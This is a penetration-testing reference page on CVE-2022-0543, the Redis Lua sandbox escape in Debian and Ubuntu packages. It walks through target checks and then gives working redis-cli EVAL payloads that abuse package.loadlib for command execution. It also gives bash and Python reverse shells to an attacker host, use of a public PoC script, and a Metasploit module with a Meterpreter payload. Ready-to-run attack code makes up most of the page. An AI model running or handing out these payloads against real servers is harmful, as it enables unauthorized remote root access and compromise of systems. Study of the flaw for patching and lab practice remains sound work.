# CVE-2022-0543 – Redis Lua Sandbox Escape RCE

- **URL:** https://hackindex.io/services/redis/exploitation/cve-2022-0543
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-03-14

Debian and Ubuntu package Redis with a dynamically linked Lua library and failed to disable the `package` interface in the Lua sandbox. The `package.loadlib` function lets you load arbitrary shared libraries (specifically liblua) and call functions like `io.popen` to execute OS commands. This bypasses the Redis sandbox entirely from within a Redis `EVAL` call. No CONFIG access, no file writes, no module loading required.

Affects Redis on Debian Buster/Bullseye and Ubuntu 20.04/21.10 with Redis packages below the patched versions. Does not affect upstream Redis or non-Debian distributions.

CVSS score: 10.0: exploitable unauthenticated (or authenticated) remotely.

## Prerequisites Check

**1 - Confirm the target is Debian or Ubuntu:**

```bash
redis-cli -h $TARGET_IP -p 6379 info server | grep os
```

Output like `os:Linux 5.15.0 x86_64` on a known Debian/Ubuntu target is a good indicator. Or check directly if you have any shell:

```bash
cat /etc/os-release
```

**2 - Check Redis version:**

```bash
redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version
```

Vulnerable versions:

- Debian: redis < 5:6.0.16-1+deb11u2 or < 5:5.0.14-1+deb10u2
- Ubuntu 20.04: redis < 5:6.0.9-1ubuntu0.1
- Ubuntu 21.10: redis < 5:6.2.6-1ubuntu0.1

**3 - Confirm EVAL is available:**

```bash
redis-cli -h $TARGET_IP -p 6379 eval "return 1" 0
```

Must return `(integer) 1`, not an error.

**4 - Confirm the Lua library path:**

```bash
redis-cli -h $TARGET_IP -p 6379 eval "return package.loadlib" 0
```

If this returns a function reference rather than nil, the `package` variable is accessible and the target is likely vulnerable.

Find the exact liblua path:

```bash
redis-cli -h $TARGET_IP -p 6379 eval "return package.path" 0
```

Or from a shell on target:

```bash
find /usr/lib -name "liblua*" 2>/dev/null
```

Common paths:

- Ubuntu 20.04 x86_64: `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`
- Debian Buster: `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`
- ARM: `/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0`

## CVE-2022-0543 Redis Exploit: Test Command Execution

Verify the sandbox is escapable by running `id`:

```bash
redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
# "uid=0(root) gid=0(root) groups=0(root)\n"
```

If you see `uid=...` in the output, you have unauthenticated OS command execution.

## Step 2 - Get a Reverse Shell

Start your listener:

```bash
nc -lvnp $LPORT
```

Execute a reverse shell via the Lua escape:

```bash
redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c '"'"'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"'"'", "r"); local res = f:read("*a"); f:close(); return res' 0
```

Or use a Python reverse shell to avoid bash quoting issues:

```bash
redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("python3 -c \"import os,socket,subprocess;s=socket.socket();s.connect(('$LHOST',$LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh','-i'])\"", "r"); local res = f:read("*a"); f:close(); return res' 0
```

## Step 3 - Use the PoC Script (Simpler)

Clone the public PoC for cleaner execution:

```bash
git clone https://github.com/JacobEbben/CVE-2022-0543
cd CVE-2022-0543
python3 exploit.py -t $TARGET_IP -p 6379 -c "id"
```

Reverse shell:

```bash
python3 exploit.py -t $TARGET_IP -p 6379 -c "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

For an authenticated target:

```bash
python3 exploit.py -t $TARGET_IP -p 6379 -a $PASSWORD -c "id"
```

## Metasploit Module

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

```bash
msfconsole
# use exploit/linux/redis/redis_debian_sandbox_escape
# set RHOSTS $TARGET_IP
# set LHOST $LHOST
# set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
# set PASSWORD $PASSWORD
# run
```

Note: Ubuntu Redis runs under systemd with `MemoryDenyWriteExecute`, which breaks staged Meterpreter. Use a stageless payload:

```bash
set payload linux/x64/meterpreter_reverse_tcp
```

## Why This Fails

- Target is not Debian/Ubuntu: the vulnerability is packaging-specific
- Redis has been patched: patched versions set `package = nil` in the Lua environment
- `package.loadlib` returns nil: patch is applied
- Wrong liblua path: adjust the path to match the installed version on the target

## References

- [Redis on Debian RCE ](https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce) - Reginaldo Silva Original vulnerability discovery and PoC by the researcher who found CVE-2022-0543.
- [CVE-2022-0543 PoC](https://github.com/JacobEbben/CVE-2022-0543) - JacobEbben Fully featured exploit script with authentication support and command execution.
- [Vulhub CVE-2022-0543](https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md) - Docker-based lab environment and step-by-step exploitation walkthrough.